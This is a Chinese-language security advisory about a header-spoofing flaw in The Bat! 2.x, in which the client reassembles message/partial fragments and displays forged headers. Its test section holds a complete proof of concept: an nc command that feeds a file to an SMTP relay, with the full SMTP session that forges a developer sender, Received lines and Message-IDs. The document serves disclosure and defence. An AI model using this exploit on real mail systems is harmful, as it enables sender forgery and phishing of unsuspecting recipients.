发布日期：2006-02-05
更新日期：2006-02-05
受影响系统：
Rit Research Labs The Bat! 2.x
不受影响系统：
Rit Research Labs The Bat! 3.5
描述：
The Bat!是一款方便易用的邮件客户端。
The Bat!显示消息的方式存在漏洞，远程攻击者可能利用此漏洞假造邮件的头部信息，隐藏邮件的真正来源。
The Bat!自动重组分片的邮件，而显示的邮件头为重组后邮件的，允许攻击者欺骗隐藏消息的RFC 822头部，包括“_all_Received:”和“Message-ID:”等字段，这样攻击者就可以创建伪造了来源的邮件。
<*来源：3APA3A （
3APA3A@security.nnov.ru）
链接：
http://marc.theaimsgroup.com/?l=bugtraq&m=113925620110345&w=2*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
用目标地址替换@example.com。
nc ip_of_smtp_relay 25 <thebatexploit.txt
-=-=-=-=- begin thebatexploit.txt -=-=-=-=-
HELO example.com
MAIL FROM: <
phiby@example.com>
RCPT TO: <
phiby@example.com>
DATA
Date: Mon, 31 Jan 2006 13:30:00 +0300
From: 3APA3A <
phiby@example.com>
X-Mailer: The Bat! (v2.12.00)
Organization:
http://www.security.nnov.ru/X-Priority: 3 (Normal)
Message-ID: <
994591752.20060130184706@thebat.net>
To: Phiby <
phiby@example.com>
Subject: Subject: Re[7]: //
Message-ID: <p#1split@
ACB0994591752.20060130184706@thebat.net>
MIME-Version: 1.0
Content-Type: message/partial; id="split@
ACB0994591752.20060130184706@thebat.net";
number=1; total=2
Received: from mail.ritlabs.com (mail.ritlabs.com [198.63.208.135])
by mail.example.com (Postfix) with ESMTP id 9F89619EBEB
for <
phiby@example.com>; Mon, 31 Jan 2006 13:30:06 +0300 (MSK)
Date: Mon, 31 Jan 2006 13:30:06 +0300
From: The Bat! developers <
bugs@thebat.net>
X-Mailer: The Bat! (v2.12.00)
Organization: RitLabs
X-Priority: 3 (Normal)
Message-ID: <
994591752.20060130184706@thebat.net>
To: Phiby <
phiby@example.com>
Subject: Subject: Re[7]: //
MIME-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit
Dear Phiby,
Best wishes for you and
http://phiby.com/.
RSET
MAIL FROM: <
phiby@example.com>
RCPT TO: <
phiby@example.com>
DATA
Date: Mon, 30 Jan 2006 13:30:06 +0300
From: 3APA3A <
phiby@example.com>
Organization:
http://www.security.nnov.ru/X-Mailer: The Bat! (v2.12.00)
Organization: Microsoft
X-Priority: 3 (Normal)
Message-ID: <
994591752.20060130184706@thebat.net>
To: Phiby <
phiby@example.com>
Subject: Subject: Re[7]: //
Message-ID: <p#2split@
ACB0994591752.20060130184706@microsof.com>
MIME-Version: 1.0
Content-Type: message/partial; id="split@
ACB0994591752.20060130184706@thebat.net";
number=2; total=2
Yours, The Bat! develpment team.
.
QUIT
-=-=-=-=- end thebatexploit.txt -=-=-=-=-
建议：
厂商补丁：
Rit Research Labs
-----------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://thebat.net/en/products/thebat/download.php